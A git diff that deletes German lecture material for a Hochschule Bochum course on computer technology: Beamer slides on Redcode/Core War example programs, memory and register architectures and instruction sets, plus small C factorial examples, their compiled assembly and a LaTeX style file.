"`decrement and jump if not zero"'\\ - \lstinline{cmp A, B} -- "`compare"': überspringe, falls gleich\\ - \lstinline{spl A} -- "`split"': Programm verzweigen - \end{minipage}\hfill - \begin{minipage}[t]{4.7cm} - Adressierungsarten:\\[\smallskipamount] - grundsätzlich: Speicher relativ\\[\smallskipamount] - \lstinline{#} -- unmittelbar\\ - \lstinline{$} -- direkt\\ - \lstinline{@} -- indirekt\\ - \lstinline{<} -- indirekt mit Prä-Dekrement - -% \pause[5] - \bigskip - Programm "`Nothing"': - \begin{lstlisting}[gobble=6] - jmp 0 - \end{lstlisting} -% \pause - \bigskip - Programm "`Knirps"': - \begin{lstlisting}[gobble=6] - mov 0, 1 - \end{lstlisting} - - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Unbedingte Verzweigung - - Beispiel: Endlosschleife von "`Dwarf"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - bomb - start - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - add #4, bomb - mov bomb, @bomb - jmp start - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \alt<2->{Mehrere Threads}{Bedingte Verzweigung} - - Beispiel: \alt<2->{Multithreading}{Kopierschleife} von "`Mice"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - ptr - start - loop - - - - - dest - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - mov #12, ptr - mov @ptr, <dest - djn loop, ptr - spl @dest - add #653, dest - jmz start, ptr - dat #833 - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Selbstmodifizierender Code - - Beispiel: Selbsterkennung von "`Fini"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[language={},gobble=6] - num - start - - pos - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{0.9cm} - \begin{lstlisting}[language={},gobble=6] - dat #-2 - mov num, <pos - jmp start - dat - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \strut - - \strut\makebox(0,0)[bl]{\large\color{structure}\textbf{Ehemaliger Praktikumsversuch (2014)}} - \hfill Inspiration für Projekt? - - \begin{minipage}[t]{5cm} - \medskip - Schreiben Sie ein\\ - Redcode-Programm,\\ - das die Gegner\\ - \file{Nothing}, \file{Knirps}\\ - und \file{Mice} besiegt. - - \medskip - - ICWS-88-Standard,\\ - max.\ 64 Prozesse,\\ - Speichergröße zufällig - - \medskip - - Teams bis zu 3 Personen\\ - sind zulässig. - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \item[2.7] Programmieren in Assembler - \color{medgreen} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \begin{itemize} - \color{red} - \item[3.1] Speicherarchitekturen - \item[3.2] Registerarchitekturen - \item[3.3] Befehlssätze - \end{itemize} - \color{gray} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\section{Architekturmerkmale von Prozessoren} -\subsection{Speicherarchitekturen} - -\begin{frame} - - \showsection - \showsubsection - - Bezeichnungen - \begin{itemize} - \item - \newterm{Bit\/} = 0 oder 1 -- kleinste Einheit an Information - \item - \newterm{Byte\/} = Zusammenfassung mehrerer \newterm{Bits}\\ - zu einer Binärzahl, die ein Zeichen (\newterm{Character\/}) darstellen kann,\\ - häufig 8 Bits (\newterm{Oktett\/}) - \item - \newterm{Speicherwort\/} = Zusammenfassung mehrerer Bits\\ - zu der kleinsten adressierbaren Einheit, häufig 1 Byte - \item - \newterm{RAM\/} = \newterm{Random Access Memory\/} = Hauptspeicher - \item - \newterm{ROM\/} = \newterm{Read Only Memory\/} = nur lesbarer Speicher - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Verschiedene Arten von Speicher - \begin{itemize} - \item - \newterm{Prozessor-Register}\\ - können direkt mit ALU verbunden werden,\\ - besonders schnell (Flipflops),\\ - überschaubare Anzahl von Registern - \item - \newterm{Hauptspeicher}\\ - kann direkt adressisert und mit Prozessor-Registern abgeglichen werden,\\ - heute i.\,d.\,R.\ dynamischer Speicher (Kondensatoren) - \item - \newterm{I/O-Ports}\\ - sind spezielle Speicheradressen, über die\\ - mit externen Geräten kommuniziert wird - \item - \newterm{Massenspeicher}\\ - liegt auf externem Gerät, wird über I/O-Ports angesprochen,\\ - Festplatte, Flash-Speicher, \dots - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \newterm{Von-Neumann-Architektur}\\ - Es gibt nur 1 Hauptspeicher, in dem sich sowohl die Befehle\\ - als auch die Daten befinden. - - \begin{onlyenv}<1> - Vorteil: Flexibilität in der Speichernutzung - - Nachteil: Befehle können überschrieben werden.\\ - $\longrightarrow$ Abstürze und Malware möglich - \end{onlyenv} - - \pause - \item - \newterm{Harvard-Architektur}\\ - Es gibt 2 Hauptspeicher. In einem befinden sich die Befehle,\\ - im anderen die Daten. - - \begin{onlyenv}<2> - Vorteil: Befehle können nicht überschrieben werden\\ - $\longrightarrow$ sicherer als Von-Neumann-Architektur - - Nachteile: Leitungen zum Speicher (Bus) müssen doppelt vorhanden sein,\\ - freier Befehlsspeicher kann nicht für Daten genutzt werden. - \end{onlyenv} - - \pause - \item - Weitere Kombinationen\\ - Hauptspeicher und I/O-Ports gemeinsam oder getrennt,\\ - Hauptspeicher und Prozessorregister gemeinsam oder getrennt - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Von-Neumann-Architektur (plus Speicherschutzmechanismen),\\ - Prozessorregister und I/O-Ports vom Hauptspeicher getrennt - \item - Atmel AVR (z.\,B.\ ATmega):\\ - Harvard-Architektur (Befehlsspeicher als Flash-Speicher grundsätzlich auch schreibbar),\\ - Prozessorregister und I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - Von-Neumann-Architektur,\\ - I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher,\\ - Prozessorregister und Hauptspeicher getrennt - \end{itemize} - -\end{frame} - -\subsection{Registerarchitekturen} - -\begin{frame}[fragile] - - \showsubsection - - \vspace*{-\medskipamount} - - \begin{itemize} - \item - Mehrere Register, einzeln ansprechbar - \item - \newterm{Akkumulator\/}: Nur 1 Register kann rechnen. - \item - \newterm{Stack-Architektur\/}: Stapel, "`umgekehrte Polnische Notation"' - \end{itemize} - - \pause - - Operationen: typischerweise nur - \lstinline{=}, \lstinline{+=}, \lstinline{-=}, \lstinline{*=}, \lstinline{/=}, \dots - - \pause - \medskip - - Beispiel: \lstinline{c = a + 2 * b;} - - \pause - \medskip - - \begin{minipage}[t]{2cm} - C:\smallskip\par - \begin{lstlisting}[gobble=6] - R = b; - R *= 2; - R += a; - c = R; - \end{lstlisting} - \end{minipage}\pause - \begin{minipage}[t]{4cm} - Mehrere Register:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - movl (b), %eax - imull $2, %eax, %eax - addl (a), %eax - movl %eax, (c) - \end{lstlisting} - \smallskip\par - (IA-32-Assembler) - \end{minipage}\pause - \begin{minipage}[t]{3cm} - Akkumulator:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - load (b) - mul $2 - add (a) - store (c) - \end{lstlisting} - \smallskip\par - (Pseudo-Assembler) - \end{minipage}\pause - \begin{minipage}[t]{3cm} - Register-Stack:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - push (a) - push (b) - push $2 - mul - add - pop (c) - \end{lstlisting} - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Mehrere Register, für verschiedene Zwecke spezialisiert (unübersichtlich),\\[\smallskipamount] - Fließkommaregister: Stack-Architektur - \item - Atmel AVR (z.\,B.\ ATmega):\\ - 32 Register - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - 3 Register: A, X, Y. Nur A kann rechnen $\longrightarrow$ Akkumulator - \item - Java Virtual Machine (JVM):\\ - Stack-Architektur - \item - Redcode:\\ - Jede Speicherzelle fungiert als Register - \end{itemize} - -\end{frame} - -\subsection{Befehlssätze} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \newterm{Complex Instruction Set Computer (CISC)} - - \smallskip - - Umfangreiche Befehlssätze, mächtige Befehle - - \begin{onlyenv}<1> - \textarrow\ komfortable manuelle Programmierung in Assembler\\ - \textarrow\ längere Abarbeitungszeit der einzelnen Befehle - - \smallskip - - Realisierung: "`Prozessor im Prozessor"' -- \newterm{Mikroprogramme} - - \smallskip - - Beispiele: IA-32, AMD-64 - \end{onlyenv} - - \medskip - \pause - \item - \newterm{Reduced Instruction Set Computer (RISC)} - - \smallskip - - wenige, wenig mächtige Befehle - - \begin{onlyenv}<2> - \textarrow\ Programmierung in Assembler für Menschen unkomfortabel\\ - \textarrow\ schnelle Abarbeitung der Befehle - - \smallskip - - Beispiele: Atmel AVR, Redcode - \end{onlyenv} - - \pause - \medskip - \item - \newterm{Very Long Instruction Word (VLIW)\/} und\\ - \newterm{Explicitly Parallel Instruction Computing (EPIC)} - - \smallskip - - mehrere Befehle gleichzeitig ausführbar - - \begin{onlyenv}<3> - \textarrow\ mehr Rechenleistung möglich\\ - \textarrow\ Programmierung sehr aufwendig - - \smallskip - - Beispiel: IA-64 - \end{onlyenv} - - \pause - \medskip - \item - \newterm{Orthogonaler Befehlssatz} - - \smallskip - - jeder Befehl mit jeder Adressierungsart kombinierbar - \end{itemize} - -\end{frame} - -\iffalse - -\section{Der CPU-Stack\label{CPU-Stack}} -\subsection{Implementation} - -\begin{frame} - - \showsection - \showsubsection - - Speicher, in dem Werte "`gestapelt"' werden: \newterm{Stack} - - \begin{itemize} - \item - Speicherbereich (ein array) reservieren - \item - Variable (typischerweise: Prozessorregister) als - \newterm{Stack Pointer\/} reservieren \textarrow\ \lstinline{SP} - \item - Assembler-Befehl \lstinline[style=asm]{push foo}: \quad - \lstinline{*SP++ = foo;} - \item - Assembler-Befehl \lstinline[style=asm]{pop bar}: \quad - \lstinline{bar = *--SP;} - \end{itemize} - - \pause - \medskip - Speziell: Unterprogramme - -\end{frame} - -\subsection{Unterprogramme} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{minipage}[t]{4.5cm} - Parameter: - \begin{itemize} - \item - Prozessorregister - \item - CPU-Stack - \end{itemize} - - \smallskip - - Rückgabewert: - \begin{itemize} - \item - Prozessorregister - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{5cm} - Aufruf: - \begin{itemize} - \item - \lstinline[style=asm]{push IP}\\ - \lstinline[style=asm]{jmp foo} - {\color{red}\boldmath $\longleftarrow$ mov \#foo IP}\\ - \textarrow\ \lstinline[style=asm]{call foo} - \end{itemize} - Rücksprung: - \begin{itemize} - \item - \lstinline[style=asm]{pop IP}\\ - \textarrow\ \lstinline[style=asm]{ret} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Register sichern} - -\begin{frame} - - \showsection - \showsubsection - - Ein Unterprogramm verändert Registerinhalte. - \begin{itemize} - \item - im Hauptprogramm nötigenfalls vor Aufruf sichern - \item - im Unterprogramm vor Benutzung sichern - \item - Kombinationen (manche Register so, manche so) - \end{itemize} - -\end{frame} - -\fi - -\end{document} diff --git a/20210601/fak-i-1.c b/20210601/fak-i-1.c deleted file mode 100644 index 67caff014a6acbb28b3869a17a7b504eaae055af..0000000000000000000000000000000000000000 --- a/20210601/fak-i-1.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - int f = 1; - for (int i = 0; i < n; i++) - f *= i; - return f; -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210601/fak-i-2.c b/20210601/fak-i-2.c deleted file mode 100644 index e864bc8ebde321885e99caa1e9051a9ed170d2d1..0000000000000000000000000000000000000000 --- a/20210601/fak-i-2.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - int f = 1; - for (int i = 1; i < n; i++) - f *= i; - return f; -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210601/fak-i-3.c b/20210601/fak-i-3.c deleted file mode 100644 index ef3f031780c156fa2ac6160b68f0049279d88e27..0000000000000000000000000000000000000000 --- a/20210601/fak-i-3.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - int f = 1; - for (int i = 1; i <= n; i++) - f *= i; - return f; -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210601/fak-i-3.s b/20210601/fak-i-3.s deleted file mode 100644 index 86a016f61983377bc66fc284d3b60bb35452893a..0000000000000000000000000000000000000000 --- a/20210601/fak-i-3.s +++ /dev/null @@ -1,51 +0,0 @@ - .file "fak-i-3.c" - .text - .globl fak - .type fak, @function -fak: -.LFB11: - .cfi_startproc - testl %edi, %edi - jle .L4 ; #include <stdio.h> - addl $1, %edi ; - movl $1, %edx ; int fak (int n) - movl $1, %eax ; { -.L3: ; int f = 1; - imull %edx, %eax ; for (int i = 1; i <= n; i++) - addl $1, %edx ; f *= i; - cmpl %edi, %edx ; return f; - jne .L3 ; } - ret -.L4: - movl $1, %eax - ret - .cfi_endproc -.LFE11: - .size fak, .-fak - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "%d! = %d\n" - .text - .globl main - .type main, @function -main: -.LFB12: - .cfi_startproc - subq $8, %rsp ; int main (void) - .cfi_def_cfa_offset 16 ; { - movl $6, %edi ; printf ("%d! = %d\n", 6, fak (6)); - call fak ; return 0; - movl %eax, %edx ; } - movl $6, %esi - leaq .LC0(%rip), %rdi - movl $0, %eax - call printf@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE12: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits diff --git a/20210601/logo-hochschule-bochum-cvh-text-v2.pdf b/20210601/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 100644 index 3725a72c764b4d9ab200553474e4262161f7a5b5..0000000000000000000000000000000000000000 Binary files a/20210601/logo-hochschule-bochum-cvh-text-v2.pdf and /dev/null differ diff --git a/20210601/logo-hochschule-bochum.pdf b/20210601/logo-hochschule-bochum.pdf deleted file mode 100644 index 8cad73dbb48a2b550bf29355b5a6ec895ce091f8..0000000000000000000000000000000000000000 Binary files a/20210601/logo-hochschule-bochum.pdf and /dev/null differ diff --git a/20210601/pgslides.sty b/20210601/pgslides.sty deleted file mode 100644 index 9a019ce99f03d27a17942facc56fe2145f46b6a6..0000000000000000000000000000000000000000 --- a/20210601/pgslides.sty +++ /dev/null @@ -1,233 +0,0 @@ -% pgslides.sty - LaTeX Settings for Lecture Slides -% Copyright (C) 2012, 2013 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\usepackage{amsfonts} -\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman". -\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird. -\usepackage{microtype} -\usepackage[T1]{fontenc} -\usepackage{times} -\usepackage{helvet} -\renewcommand*\familydefault{\sfdefault} -\usepackage{graphicx} -\usepackage{pstricks} - -\hypersetup{colorlinks,allcolors=blue} - -%% @@@ Not necessary for slides. Why??? -%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs). -%\directlua{ -% local glyph = node.id ("glyph") -% local function my_kerning (head) -% for t in node.traverse (head) do -% if t.id == glyph and t.char == 47 then -% if t.next -% and t.next.next -% and t.next.next.id == glyph -% and t.next.next.char == 47 then -% local k = node.new ("kern") -% k.kern = tex.sp ("-0.15em") -% k.next = t.next -% k.prev = t -% t.next.prev = k -% t.next = k -% end -% end -% end -% node.kerning (head) -% end -% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning") -%} - -\usetheme{default} -\usefonttheme{structurebold} -\setbeamertemplate{navigation symbols}{} -\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm} -\setbeamertemplate{itemize item}{$\bullet$} -\setbeamertemplate{itemize subitem}{--} -\setbeamerfont{itemize/enumerate subbody}{size=\normalsize} -\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize} -\setbeamercolor{footline}{fg=gray} - -\newcommand{\sep}{~$\cdot$~} - -\newif\ifminimalistic -\minimalistictrue - -\institute[Hochschule Bochum\sep CVH]{% - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}% -} - -\setbeamertemplate{headline}{% - \leavevmode - \hbox to \textwidth{% - \ifminimalistic - \strut\hfill - \else - \rule{0pt}{5.7pt}% - \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}% - \raisebox{-30pt}{\rule{0pt}{1pt}}% - \fi - }% - \vskip0pt% -} - -\iffalse - \setbeamertemplate{footline}{} -\else - \setbeamertemplate{footline}{% - \leavevmode - \hbox to \textwidth{% - \usebeamercolor{footline}% - \usebeamerfont{footline}% - \ifminimalistic - \strut\hfill - \else - \,\insertshorttitle\sep - \insertshortauthor\sep - \insertshortinstitute\sep - \insertshortdate\hfill - \fi - \insertframenumber/\inserttotalframenumber - %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\, - }% - \vskip0pt% - } -\fi - -\newcommand{\maketitleframe}{% - \ifminimalistic - \begin{frame}[t,plain] - \insertinstitute - \par\vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \end{frame} - \else - \begin{frame} - \vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \vfill - \end{frame} - \fi -} - -\definecolor{medgreen}{rgb}{0.0,0.5,0.0} -\definecolor{darkgreen}{rgb}{0.0,0.3,0.0} -\definecolor{lightred}{rgb}{1.0,0.7,0.7} -\definecolor{medred}{rgb}{0.5,0.0,0.0} -\definecolor{bored}{rgb}{0.89,0.0,0.098} -\definecolor{lightgray}{rgb}{0.85,0.85,0.85} -\definecolor{orange}{rgb}{1.0,0.5,0.0} -\definecolor{darkgray}{rgb}{0.4,0.4,0.4} - -\newenvironment{experts}{\color{darkgray}}{} - -\usepackage{listings} -\lstset{basicstyle=\color{structure}, - language=C, - captionpos=b, - gobble=4, - columns=fullflexible, - aboveskip=0pt, - belowskip=0pt, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<2->{\color{structure}}]{²}{¿}, - moredelim=**[is][\only<3->{\color{structure}}]{³}{¿}, - moredelim=**[is][\only<4->{\color{structure}}]{°}{¿}, - moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿}, - moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿}, - moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿}, - moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}} -\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen}, - language={}, - columns=fixed, - moredelim=**[is][\color{red}]{¡}{¿}, - moredelim=**[is][\color{blendedblue}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red}, - language={}, - gobble=2, - columns=fixed, - moredelim=**[is][\color{darkgreen}]{¡}{¿}, - moredelim=**[is][\color{structure}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{shy}{basicstyle=\color{lightgray}} - -\setcounter{topnumber}{3} -\renewcommand\topfraction{0.7} -\setcounter{bottomnumber}{3} -\renewcommand\bottomfraction{0.7} -\setcounter{totalnumber}{5} -\renewcommand\textfraction{0.1} -\renewcommand\floatpagefraction{0.9} - -\setlength{\unitlength}{1cm} - -\newcommand{\protectfile}[1]{#1} -\urlstyle{sf} -\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}} -\newcommand{\textarrow}{{\boldmath $\longrightarrow$}} -\newcommand{\arrowitem}{\item[\textarrow]} -\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}} -\newcommand{\BIGskip}{\vspace{1cm}} -\newcommand{\shy}{\color{lightgray}} -\newcommand{\hot}{\color{red}} -\newcommand{\shyhot}{\color{lightred}} - -\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}} - -\def\showsectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\secname}\par}\bigskip} - -\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}} - -\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\nosectionnonumbername}\par}\bigskip} - -\def\showsection{\hbox{\Large\color{structure}\bf - \vtop{\hbox{\arabic{section}}}\kern1em% - \vtop{\secname}\par}\bigskip} - -\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}} - -\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip} - -\def\showsubsection{\hbox{\large\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em% - \vtop{\subsecname}\par}\bigskip} - -\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}} - -\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip} - -\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em% - \vtop{\subsubsecname}\par}\bigskip} diff --git a/20210601/rtech-20210601.pdf b/20210601/rtech-20210601.pdf deleted file mode 100644 index 96f062db20bfff591fb2451d541e1f776754de48..0000000000000000000000000000000000000000 Binary files a/20210601/rtech-20210601.pdf and /dev/null differ diff --git a/20210601/rtech-20210601.tex b/20210601/rtech-20210601.tex deleted file mode 100644 index 3a187fb977e47c4094e7838e3e0ee3f6ec8e74a5..0000000000000000000000000000000000000000 --- a/20210601/rtech-20210601.tex +++ /dev/null @@ -1,592 +0,0 @@ -% rtech-20210601.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Architekturmerkmale von Prozessoren - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{1.\ Juni 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} -% \item[2.1] Logik-Schaltkreise -% \item[2.2] Binärdarstellung von Zahlen -% \item[2.3] Vom Logik-Schaltkreis zum Addierer -% \item[2.4] Negative Zahlen -% \item[2.5] Vom Addierer zum Computer -% \item[2.6] Computer-Sprachen - \item[\dots] - \item[2.7] Programmieren in Assembler - \color{medgreen} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \begin{itemize} - \color{medgreen} - \item[3.1] Speicherarchitekturen - \item[3.2] Registerarchitekturen - \item[3.3] 